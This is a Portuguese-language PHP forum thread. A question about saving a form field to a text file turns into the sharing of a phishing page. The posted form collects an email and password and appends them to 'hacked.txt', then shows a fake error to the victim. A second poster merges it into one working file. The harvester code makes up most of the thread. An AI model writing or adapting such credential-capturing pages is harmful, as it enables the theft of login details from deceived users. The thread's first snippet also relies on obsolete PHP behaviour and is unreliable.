Supondo q eu tnha uma página com um campo de texto e um botão, como faço pra salvar o conteúdo do campo d texto num arquivo TXT ao clicar no botão?
vLw
<?php
if(isset($_POST["BUTTON"])) { /* BUTTON = Nome do botão */
$open = fopen("arquivo.txt", "a"); /* "a" = abre o arquivo somente para escrita. e posiciona o ponteiro no final do arquivo :) */
fwrite($open, $T1); /* $T1 = Nome do campo de texto */
fclose($open); /* fecha o arquivo :D */
}
/* forum.brcode.org */
?>
;) rsrs vlw... encontrei esse aki:
<?php
<form name="form1" method="post" action="save.php">
<p><font face="Arial, Helvetica, sans-serif">E-mail
<input name="email" type="text" id="email">
</font></p>
<p><font face="Arial, Helvetica, sans-serif">Senha
<input name="password" type="password" id="password">
</font></p>
<p>
<input type="submit" name="Entrar" value="Entrar">
</p>
</form>
<p> </p>
?>
e esse aki eh o save.php:
<?php
//Get data from form.php
$email = $_POST["email"];
$password = $_POST["password"];
//Prepair the content
$content = "Email- $email | Password- $password\r\n";
//Record in the file
$file = "hacked.txt";
//Try to open the file
if (!$open = fopen($file, "a")) {
echo "Error opening file ($file)";
exit;
}
//Write in file
if (!fwrite($open, $content)) {
print "Error writing file ($file)";
exit;
}
echo "Houve um erro. Tente novamente mais tarde.";
//Close the file
fclose($open);
?>
mas tipo... tem como eu fazer o formulário em HTML e chamar o php pra salvar os dados num arquivo? como eu chamaria o php?
no proprio php acima eh assim: <form name="form1" method="post" [b]action="save.php"[/b]>
vLw
Não entendi direito o que você queria... mais acho que você quer TUDO em 1 só arquivo né?
Se for isso ta ae...
arquivo.php
<html>
<head>
</head>
<body>
<form name="form1" method="post" action="">
<p><font face="Arial, Helvetica, sans-serif">E-mail
<input name="email" type="text" id="email">
</font></p>
<p><font face="Arial, Helvetica, sans-serif">Senha
<input name="password" type="password" id="password">
</font></p>
<p>
<input type="submit" name="Entrar" value="Entrar">
</p>
</form>
</body>
</html>
<?php
if(isset($_POST["Entrar"])) {
$email = $_REQUEST["email"];
$password = $_REQUEST["password"];
if (!$open = fopen("hacked.txt", "a")) {
echo "Error opening file ($file)";
exit;
}
fwrite($open, "Email: $email - Password: $password");
fclose($open);
}
/* forum.brcode.org */
?>
pow vlw msmo cara
;D
Dá pra dar uma boa resumida nisso aí, hehehe
<?php
file_put_contents("arquivo.txt", "dados", FILE_APPEND);
?>
Além da flag file_append, tem outras que você pode ver em:
http://www.php.net/manual/pt_BR/function.file-put-contents.php (http://www.php.net/manual/pt_BR/function.file-put-contents.php)
[]'s